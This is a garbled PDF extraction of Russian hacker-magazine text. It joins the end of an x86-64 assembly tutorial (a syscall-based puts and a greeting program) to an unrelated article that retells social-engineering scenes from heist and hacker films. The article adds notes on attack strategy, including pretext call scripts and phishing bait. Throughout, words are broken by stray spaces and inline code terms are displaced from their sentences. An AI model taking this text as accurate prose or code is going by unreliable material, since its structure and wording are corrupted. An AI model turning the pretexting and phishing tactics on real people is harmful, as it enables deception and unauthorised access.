       restore_registers
       ret
.type asm_strlen, @function
.global asm_strlen

# puts(int filedescr, char* buf)
asm_puts:
   save_registers

   mov %rdi, %r12 # r12 = filedescr
   mov %rsi, %r13 # r13 = buf

   # r13 = strlen(buf)
   mov %r13, %rdi
   call asm_strlen

   mov %rax, %r14 # r14 = asm_strlen(buf)

   write %r12 %r13 %r14

   restore_registers
   ret
.type asm_puts, @function
.global asm_puts

Мак росы   и   прос то авто мати зиру ют сох‐ 
ранение  регис тров  callee‐saved.  Пер вый  добав ляет  все  регис тры  на  стек,
а  вто рой  уда ляет  их  зна чения  из  сте ка  и  воз вра щает  обратно  в  регис тры.
Мак рос   — более удоб ная обер тка к сис темно му вызову.

save_registers restore_registers

write
Фун кция   исполь зует тот факт, что стро ки сле дуют сог лашению язы‐ 

ка С, — нулевой байт выс тупа ет в качес тве приз нака кон ца стро ки. На каж дом
шаге  цик ла    сле дующий  байт  стро ки  срав нива ется  с  нулем,  и,
пока он не равен нулю, зна чение индекса эле мен та в регис тре   уве личи‐ 
вает ся  на  еди ницу.  Если  он  равен  нулю,  про изво дит ся  условный  переход
на мет ку  .

strlen

strlen_loop
%r12

strlen_return

INFO

Се мей ство  команд  условных  перехо дов
в  x86  доволь но  обширно  и  вклю чает  в  себя
коман ду   —  jump  if  zero. Я намерен но исполь‐ 
зовал  коман ды,  которые  мне  кажут ся  наибо лее
наг лядны ми  для  читате лей,  не  стал кивав шихся
с язы ком ассем бле ра до этой статьи. Воз можно,
более пра виль но было бы для индекса эле мен та
стро ки  исполь зовать  регистр  ,  который
зарезер вирован  как  scratch  register  и  не  обя зан
сох ранять ся вызыва емой фун кци ей.

jz

%r11

Поп робу ем  исполь зовать  нашу  биб лиоте ку  из  прог раммы  на  C.  Сиг натура
фун кции   с точ ки зре ния C будет 

. Выводить будем на stdout, его дес крип тор всег да равен 1.
asm_puts asm_puts(int filedescr, char*

string)
Сох раним сле дующий код в  :hello.c

#define STDOUT 1

int main(void)
{
   asm_puts(STDOUT, "hello world\n");
}

Те перь соберем из это го все го прог рамму:

$ gcc ‐Wno‐implicit‐function‐declaration ‐c ‐o hello.o ./hello.c
$ as ‐o stdlib.o ./stdlib.s
$ gcc ‐o hello ./hello.o ./stdlib.o
$ ./hello
hello world

Как видим, вызов нашей фун кции из C сра ботал. Увы,   в исполне нии GCC
зависит от ини циали заций из  libc, поэто му финаль ную прог рамму тоже при‐ 
дет ся  писать  на  язы ке  ассем бле ра,  если  мы  не  хотим  эму лиро вать  работу
GCC.

main

ГДЕ ЛЕЖАТ АРГУМЕНТЫ КОМАНДНОЙ СТРОКИ?
От вет на это мож но най ти в раз деле  , и он про ще, чем мож но было ожи‐ 
дать:  на  сте ке  про цес са.  При  запус ке  про цес са  регистр    ука зыва ет
на выделен ный для него кадр сте ка, и пер вое зна чение на сте ке — количес‐ 
тво аргу мен тов ( ). За ним сле дуют ука зате ли на сами аргу мен ты.

3.4.1
%rbp

argc
Та ким  обра зом,  все,  что  нам  нуж но,  —  это  нес ложный  цикл,  который

извле кает  зна чения  со  сте ка  по  одно му  и  переда ет  их  нашей  фун кции 
.asm_puts

ФИНАЛЬНАЯ ПРОГРАММА
# Константы
.section .rodata

hello_begin:
   .ascii "Hello \0"

hello_end:
   .ascii "!\n\0"

# Код программы
.section .text

_start:
   # argc — первое значение на стеке, сохраним его в %r12
   pop %r12 # r12 = argc

   # Следующее значение — *argv[0], это имя программы, и оно нам не 
нужно
   pop %r13 # r13 = argv[0]
   dec %r12 # argc‐‐

   # Сохраним первый нужный аргумент в %r13 перед входом в цикл 
main_loop
   pop %r13 # r13 = argv[1]

   main_loop:
       # if(argc == 0) goto exit
       cmp $0, %r12
       je exit

       # asm_puts(STDOUT, hello_begin)
       mov $1, %rdi # rdi = STDOUT
       mov $hello_begin, %rsi
       call asm_puts

       # asm_puts(STDOUT, argv[r12])
       mov $1, %rdi
       mov %r13, %rsi
       call asm_puts

       # asm_puts(STDOUT, hello_end)
       mov $1, %rdi
       mov $hello_end, %rsi
       call asm_puts

       pop %r13 # Извлекаем следующий аргумент
       dec %r12 # argc‐‐
       jmp main_loop

exit:
   # syscall(number=60/exit, arg0/exit_code=0)
   mov $60, %rax
   mov $0, %rdi
   syscall

.global _start

Со берем прог рамму и про верим ее в работе:

$ as ‐o hello.o ./hello.s
$ as ‐o stdlib.o ./stdlib.s
$ ld ‐nostdlib ‐o hello ./hello.o ./stdlib.o
$ ./hello Dennis Brian Ken
Hello Dennis!
Hello Brian!
Hello Ken!

Ло гика дос таточ но прос та. Чис ло аргу мен тов, которое находит ся на вер шине
сте ка, мы сох раня ем в регис тре  , а затем извле каем ука зате ли на аргу‐ 
мен ты из сте ка и умень шаем зна чение в   на еди ницу, пока оно не дос‐ 
тигнет  нуля.  Основной  цикл  прог раммы  орга низо ван  через  те  же  коман ды
срав нения и условно го перехо да, которые мы уже видели в  .

%r12
%r12

asm_strlen
Пос коль ку фор матиро ван ный вывод нам недос тупен, его отсутс твие при‐ 

ходит ся  ком пенси ровать  отдель ным  выводом  сна чала  стро ки  ,  затем
аргу мен та и толь ко затем вос кли цатель ного зна ка.

Hello

ЗАКЛЮЧЕНИЕ
Мы успешно погово рили с ядром Linux без пос редни ков на его собс твен ном
язы ке. Такие  упражне ния несут мало прак тичес кого смыс ла, но приб лижа ют
нас к понима нию того, как userspace работа ет с ядром.
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http://refspecs.linuxbase.org/elf/x86_64-abi-0.99.pdf#subsection.A.2.1
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Од ни  тех ники  атак  при ходят  на  сме ну  дру‐ 
гим, но кое‐что оста ется неиз менным: пока
компь юте рами  поль зуют ся  люди,  соци аль‐ 
ная  инже нерия  будет  оста вать ся  в  арсе‐ 
нале  кибер зло деев.  Что бы  успешно  при‐ 
менять  ее,  не  нуж но  даже  быть  тех нарем.
Дос таточ но,  что бы  душа  лежала  к  лов кой
импро виза ции.

В качес тве наг лядно го кур са для начина ющих мы вспом нили семь при меров
соци аль ной инже нерии, которые мож но встре тить в популяр ных филь мах.

ИЛЛЮЗИЯ ОБМАНА / NOW YOU SEE ME (2013)

Это кино об иллю зионис тах, которые совер шают мас штаб ные трю ки и кра дут
мил лионы.  Сей час  сня то  две  час ти  это го  филь ма,  ско ро  ожи дает ся  третья.
Вот один из наибо лее ярких эпи зодов, свя зан ных с соци аль ной инже нери ей.
«Чем  вни матель ней  смот ришь,  тем  мень ше  видишь»,  —  заяв ляет  улич ной
тол пе вол шебник Дэн ни Атлас. Пуб лика вни матель но смот рит на быс тро про‐ 
лис тыва емую колоду карт и по прось бе Атла са запоми нает одну из них. Ког да
пос ле это го он показы вает всю колоду карт, ник то не может най ти там запом‐ 
ненную  семер ку  бубен.  Пока  пуб лика  недо уме вает,  Атлас  демонс тра тив но
бро сает  колоду  и  рису ет  эту  кар ту  заж женны ми окна ми бли жай шего  небос‐ 
кре ба.

Стра тегия ата ки
Ил люзи онис ты исполь зуют отвле кающие манев ры, что бы соз дать видимость
магии,  при  этом  некото рые  осо бен но  лов кие  еще  и  вору ют  день ги  пря мо
под  носом  у  незадач ливого  зри теля.  Кибер зло деи  тоже  очень  час то  поль‐ 
зуют ся  этим  трю ком. Нап ример,  про водят  отвле кающую DDoS‐ата ку,  что бы,
пока айтиш ники возят ся с вос ста нов лени ем, украсть день ги на дру гом кон це
сети.  А  иног да  и  вся  ата ка  может  быть  прик рыти ем —  как,  по  слу хам,  про‐ 
изош ло с лже шиф роваль щиком NotPetya.

ОДИННАДЦАТЬ ДРУЗЕЙ ОУШЕНА / OCEAN’S 11 (1960)

Дэн ни  Оушен  (Фрэнк  Синат ра)  воз глав ляет  груп пу  быв ших  армей ских  сос‐ 
лужив цев.  Их  цель  —  одновре мен но  огра бить  пять  казино  Лас‐Вегаса.
В  одной  из  сцен  Джош  Говард  (Сэм ми  Девис  —  млад ший),  пере оде тый
в  мусор щика,  вывозит  день ги  на  мусоро возе.  Слу жите ли  пра вопо ряд ка,
которых пос ле ограбле ния «под няли в ружье», брез гли во‐тороп ливо про пус‐ 
кают этот мусоро воз через свое оцеп ление без дос мотра. Водитель вно сит
допол нитель ный штри шок: дела ет вид, буд то рад, что его оста нови ли, и увле‐ 
чен но расс пра шива ет полицей ских о том, что тут про исхо дит. Оста новив ший
его коп даже не успе вает пред ста вить ся.

Стра тегия ата ки
Во ры  исполь зуют  прик рытие  из  чего‐то  обы ден ного  и  даже  пре зира емо го.
Точ но так же кибер зло деи могут, нап ример, скры вать свои тро феи в мусор‐ 
ном  дам пе  дан ных.  Мало  кто  из  безопас ников  решит ся  засучить  рукава
и  копать ся  в  поис ках  чего‐то  необыч ного.  К  это му  методу  мож но  отнести
и раз ные вари анты сте ганог рафии.

Пе ред прос мотром это го филь ма имей в виду, что та сце на, ради которой
мы  вклю чили  его  в  спи сок,  длит ся  счи таные  минуты.  А  начина ется  он
с доволь но‐таки  нуд ного  сбо ра  коман ды будущих  подель ников. Длит ся  этот
сбор ни мно го ни мало — целый час. Но пароч ка  трю ков соци аль ной инже‐ 
нерии, хоть и не таких эффек тных, как с мусоро возом, в этом часе тоже при‐ 
сутс тву ет.

ТРИНАДЦАТЬ ДРУЗЕЙ ОУШЕНА / OCEAN’S 13 (2007)

Здесь  Рас ти  Рай ан  (Брэд  Питт)  прит воря ется  уче ным,  оза бочен ным  потен‐ 
циаль ной  опас ностью  зем летря сения.  Ссы лаясь  на  вну шитель ные  науч ные
вык ладки,  он  ста рает ся  убе дить  вла дель ца  круп ного  оте ля‐казино,  которое
еще не  успе ло открыть ся,  зак рыть заведе ние нав сегда. Свои сло ва он под‐ 
креп ляет  пре зен таци ей,  где  при  помощи  компь ютер ной  гра фики  показа но,
что зда ние оте ля при зем летря сении ока жет ся в его эпи цен тре.

«Если  вы  поз волите моим  спе циалис там  на  пару  дней  при ехать  с  нашей
тех никой,  я  докажу,  что  в  слу чае  зем летря сения  со  зда нием  будут  боль шие
проб лемы». Естес твен но, вла дель ца оте ля такая пер спек тива не прив лека ет,
и тот ста рает ся пос корее выд ворить бди тель ного уче ного. Разоча ровав шись
отка зом,  пер сонаж  Брэ да  Пит та  дела ет  жест  доб рой  воли:  оставля ет  вла‐ 
дель цу  казино  сей смог раф  (на  самом  деле  это  скры тая  камера)  под  пред‐ 
логом того, что он поможет опе ратив но засечь пред варитель ные тол чки.

Вла делец казино выража ет свое недоволь ство и не хочет, что бы «эта шту‐ 
ка  сто яла  здесь». Но про тив пос ледне го аргу мен та  усто ять не может:  «Зна‐ 
ете,  чего  вы  точ но  не  хотите?  Что бы  ваш  отель  ока зал ся  на  обложке  Times
в виде гру ды иско режен ного метал ла, под которой лежали бы вы сами и ваши
кли енты.  А  над  фотог рафи ей  над пись:  „Кто  виноват?“».  Так  сей смог раф
и оста ется на сто ле.

Стра тегия ата ки
Су щес тву ет  мас са  при меров  того,  как  кибер зло деи  пре успе вают,  давя
на поль зовате ля авто рите том: под талки вают перей ти по ссыл ке,  что бы про‐ 
читать  «важ ное  сооб щение»,  при сыла ют  пись ма  яко бы  от  адми нис тра ции
какого‐нибудь зна комо го (и важ ного челове ку) сер виса и даже шлют тро янов
под видом анти вирус ной про вер ки — один в один исто рия с сей смог рафом.
Что до филь ма, то он не нам ного инте рес нее вер сии 60‐х годов, но по час ти
социн женерии здесь ста ло боль ше полез ных при меров.

ПОДОЗРИТЕЛЬНЫЕ ЛИЦА / THE USUAL SUSPECTS (1995)

Род жер Кинт  (Кевин Спей си) рас ска зыва ет  сле дова телям исто рию,  которую
те под созна тель но хотят услы шать. Весь фильм Кинт водит полицию за нос.
За спи ной у тех, кто его доп рашива ет, боль шая дос ка, куда прик леены газет‐ 
ные вырез ки по рас сле дуемо му делу. Кинт,  гля дя на нее,  заимс тву ет отту да
идеи и стро ит на их осно ве свою исто рию пря мо на ходу. Пос коль ку соот ветс‐ 
тву ющие фраг менты сле дова тели собира ли сами и пос коль ку Кин ту уда лось
бла года ря этой дос ке понять умо зак лючения, к которым сле дова тели приш ли,
им его речь кажет ся прав доподоб ной.

Стра тегия ата ки
Лю ди (в том чис ле безопас ники) склон ны к тому, что бы, однажды оста новив‐ 
шись  на  какой‐нибудь  вер сии,  объ ясня ющей  при чину  чего‐то,  зас тре вать
на ней. В иде але им бы сто ило дер жать свой разум откры тым для фак тов, а не
давать им однознач ные интер пре тации. В ито ге получа ется, что сле дова тель
пыта ется не докопать ся до исти ны, а лишь под твер дить свою вер сию. И если
кто‐то или что‐то помога ет это сде лать, то он будет скло нен доверять соот‐ 
ветс тву ющим фак там и людям. Опыт ный соци аль ный инже нер в таких слу чаях
может подыг рывать с поль зой для себя.

ПОЙМАЙ МЕНЯ, ЕСЛИ СМОЖЕШЬ / CATCH ME IF YOU CAN (2002)

Фрэнк Абиг нейл — млад ший (молодой Леонар до Ди Кап рио) тер пит неуда чу,
пыта ясь обна личить фаль шивые чеки. В раз думь ях о  том,  как добить ся сво‐ 
его, он под меча ет, с каким бла гого вени ем люди смот рят на пилотов самоле‐ 
та, которые про ходят мимо в общес тве хорошень ких стю ардесс. Смек нув, что
это почет ная и ува жаемая про фес сия, Ди Кап рио под пред логом «интервью
для школь ной газеты» разуз нал у одно го из пилотов жар гон лет чиков и стал
выдавать себя за одно го из них. Дело дви нулось! Теперь с обна лич кой чеков
проб лем у него боль ше не воз никало.

В дру гой раз, опять же прит ворив шись лет чиком, Абиг нейл охму рил сот‐ 
рудни цу бан ка, что бы выведать у нее, каким обра зом внут ренние бан ков ские
сис темы обра баты вают  чеки. Эта информа ция поз волила ему най ти сла бые
мес та в про цес синге и под нять свои кар динго вые манипу ляции на новый уро‐ 
вень. Но пилот самоле та — это не единс твен ная про фес сия, которую на про‐ 
тяже нии филь ма  герой Ди Кап рио  при мерял  на  себя. В  дру гих  эпи зодах  он
так же был и хирур гом, и адво катом, и даже супера ген том!

Стра тегия ата ки
На  про тяже нии  все го  филь ма  Абиг нейл  про делы вает  все  новые  и  новые
чудеса мас киров ки, выдавая себя за тех людей, которые естес твен ным обра‐ 
зом рас полага ют к доверию. А там, где есть доверие, будет выпол нена любая
прось ба! И чек обна личить, и кон фиден циаль ную информа цию пре дос тавить.
Слы шал  про  ,  которых  стра шат ся  бан киры?  Для  их  соз дания
тре бует ся  информа ция,  которую  собира ют  инсай деры, —  при мер но  как  на
кар тинке выше.

чер ные  ящи ки

КТО Я / WHO AM I (2014)

Бен джа мину Энге лю (Том Шил линг), нев зрач нень кому под рос тку, до которо‐ 
го никому нет дела, наконец‐то уда ется най ти веселых дру зей, которые могут
по  дос тоинс тву  оце нить  его  тех ничес кие  навыки:  читать  машин ный  код
и находить уяз вимос ти нулево го дня.

Друж ба завяза лась не сра зу, одна ко, ког да Бен джа мину уда лось отру бить
с компь юте ра свет во всем рай оне, его новые зна комые были край не впе чат‐ 
лены.  Вмес те  ком пашка  занялась  раз вле чени ем  на  сты ке  компь ютер ного
взло ма и соци аль ной инже нерии.

Вот  жиз ненные  прин ципы,  которы ми  руководс тво вались  Бен джа мин
с друзь ями: 1) в мире нет безопас ных сис тем, 2) сме лость города берет, 3)
лови удо воль ствия в сети и за ее пре дела ми. Макс  (Эли ас М’Барек), самый
близ кий из новых дру зей Бен джа мина,  стал обу чать сво его юно го падава на
при емам  соци аль ной  инже нерии:  «Человек  по  при роде  сво ей  довер чив
и  некон флик тен.  Соци аль ные  инже неры  прос то  это  исполь зуют.  Так  мож но
получить  все,  что  пожела ешь. Пароли,  сек ретную информа цию,  дос туп  куда
угод но. Прос то надо быть пос мелее, и тог да весь мир падет к тво им ногам».

Од на  из  сов мес тных  акций,  которую  про вер нула  друж ная  ком пания,  —
это клас сичес кий при мер дай вин га, фишин га и физичес кого про ник новения.
Задумав  взло мать  федера лов,  Бен джа мин  со  сво ими  друзь ями  отсле дил
мусоро воз, который вывозил макула туру из пра витель ствен ного зда ния. Сре‐ 
ди  его  гру за  герои  наш ли  поз дра витель ную  открыт ку  с  кучей  под писей.
По  обложке  открыт ки  было  понят но,  что  адре сату  очень  нра вят ся  кошеч ки.
Зная, что «если подоб рать пра виль ную нажив ку, клю нет любая рыба», друзья
отпра вили адре сату (сот рудни це из федераль ного агентства) пись мо: «Гер ги,
обя затель но  глянь  эту  ссы лоч ку».  Сама  того  не  понимая,  Гер ги  впус тила
хакеров в свя тая свя тых.

Кон цовка филь ма тоже содер жит инте рес ные сюжет ные поворо ты, свя зан ные
с  соци аль ной  инже нери ей,  но  не  буду  спой лерить  ее  на  слу чай,  если  ты
решишь пос мотреть сам.

ВЗЛОМ / TAKEDOWN (2000)

Фе дераль ный  агент  Лэнс  (Дже реми  Сис то)  пыта ется  вте реть ся  в  доверие
к  Кевину  Мит нику  (Скит  Уль рих)  и  рас ска зыва ет,  что  у  него  есть  дос туп
к  информа цион ным  сис темам  пра витель ствен ных  ведомств.  Одна ко  Лэнс
видит,  что Мит ника этим не  уди вишь:  у  зна мени того  хакера  уже есть дос туп
к тем же сис темам. Мит ник вста ет, что бы закон чить встре чу, и Лэнс реша ется
разыг рать  пос ледний  козырь — ска зать  наз вание супер секрет ной прог рам‐ 
мной  сис темы,  которой  поль зуют ся  федера лы.  «А  что  нас чет  СОД  (служ ба
откры того  дос тупа)?  Сис тема  пелен гации  звон ков,  которая  может  перех‐ 
ватить любой зво нок в любое вре мя».

Мит ник заин тересо вал ся, но не подал виду и ушел прочь. На сле дующий
вечер он уже знал об этой сис теме все и взло мал ее. Каково же было удив‐ 
ление  Лэн са,  ког да  на  сле дующей  встре че,  спус тя  все го  один  день,  Кевин
пос тавил  перед  ним  ноут бук,  залоги нен ный  в  СОД.  Лэн су  за  это  сде лали
на работе боль шую выволоч ку.

Как про ходи ла ата ка
Как  Кевину  это  уда лось?  Он  исполь зовал  трой ную  ком бинацию:  фишинг,
вишинг  и  мас карад.  Сна чала  про вел  раз ведку  боем  по  телефо ну:  «Джойл!
Это Джо Фрэ ди из офи са Уол шера. Зна ешь, я тут завис с отче том для Дэна
Вик са. Он тре бовал его еще вче ра. В общем, ты меня понима ешь… Мне нуж‐ 
на  информа ция  по  вашей  сис теме  СОД.  Полагаю,  это  уста нов ка  тем‐ 
но‐серого  цве та  с  бук венным  ука зате лем  вни зу.  Сто ит  в  кон це  коридо ра.
Под ска жи мне ее номер и наиме нова ние про изво дите ля».

Уз нав, кто про изво дитель, Мит ник поз вонил глав ному инже неру: «Вы Крис
Ман сен? Это Джо Фрэ ди из офи са  телефон ной  ком пании. Мне рас ска зали,
что это вы соз дали сис тему СОД, с которой мы работа ем. Ужас но, что ком‐ 
пания Netcorp оста лась не у дел. Ваше изоб ретение гени аль но. Я решил поз‐ 
вонить вам и поб лагода рить за такое необык новен ное устрой ство. Вы мас тер
сво его  дела.  Я  обя затель но  возь му  на  замет ку  вашу  идею.  Осо бен но  мне
нра вит ся дизайн и прос тота в обра щении». И что же? Нем ного лес ти, и глав‐ 
ный инже нер отправ ляет Мит нику всю докумен тацию к сис теме и даже готов
отве тить на любые воп росы.

INFO

Ес ли у тебя есть вре мя толь ко на два филь ма, то
из  все го  спис ка  оста новись  на  двух  пос ледних.
Они  сто ят  того,  что бы прос мотреть  их  от  начала
и  до  кон ца.  Но  если  у  тебя  сов сем‐сов сем  нет
вре мени,  то  пос мотри  хотя  бы  вот  эти  виде она‐ 
рез ки  со  сце нами  про  соци аль ную  инже нерию:
одна — про « », дру гая — про « ».Кто я Взлом

БОНУС: ЭПИЗОДЫ ИЗ ДРУГИХ ФИЛЬМОВ
Сре ди  дру гих  кар тин,  где  есть  инте рес ные  сце ны  про  соци аль ную  инже‐ 
нерию,  вспо мина ются  «Хакеры»  ( ,  1995),  «Кибер»  ( ,  2015)
и «Креп кий оре шек 4.0» ( , 2007). В «Хакерах» инте ресен
момент,  ког да  Zero  Cool  про сит  охранни ка  про читать  циф ры  с  модема.
В «Кибер» — ког да кита янка намерен но про лила на свои рас печат ки кофе и,
давя  на  жалость,  поп росила  сот рудни ка  ата куемой  ком пании  рас печатать
документ  с  «зубас той»  флеш ки.  В  «Креп ком  ореш ке  4.0»  —  ког да  глав ный
герой  и  его  напар ник‐хакер  попада ют  в  машину,  которая  уда лен но  заб‐ 
локиро вана  ком пани ей.  Хакер  рас ска зыва ет  слез ную  исто рию  опе рато ру
кол‐цен тра, давит на жалость, называ ет по име ни и в ито ге добива ется, что бы
бло киров ку деак тивиро вали.

Hackers Blackhat
Live Free or Die Hard

Три  этих  филь ма  смот реть  спе циаль но  ради  эпи зодов  с  соци аль ной  инже‐ 
нери ей вряд ли име ет смысл, но если все рав но будешь смот реть (или перес‐ 
матри вать) — обра ти вни мание.

Ес ли  ты  зна ешь  еще  какие‐то  филь мы,  демонс три рующие  инте рес ные
при меры соци аль ной инже нерии, пиши их наз вания в ком мента риях!

mailto:vedacoder@mail.ru
https://www.youtube.com/watch?v=u_diRgwPCS8
https://www.youtube.com/watch?v=lV2XAU1JzuI
https://www.youtube.com/watch?v=fFan929BTPE
https://www.youtube.com/watch?v=oiXdPolca5w
https://www.youtube.com/watch?v=SosRcIMCr5g
https://xakep.ru/2018/05/21/carding/
https://www.youtube.com/watch?v=ynW6Ys3LLAQ
https://www.youtube.com/watch?v=NbgDMYy9mzM
https://www.youtube.com/playlist?list=PLNgp2e4R8HtGxsdSZdXdvEdI3UrUPr6MT
https://www.youtube.com/playlist?list=PLNgp2e4R8HtEeFwVE_mdv29eQ4LYkgKtV
https://www.youtube.com/watch?v=C7X_JVw-1uw
https://www.youtube.com/watch?v=-CA95Bzpy7s
https://www.youtube.com/watch?v=8Jz-8UcCiws
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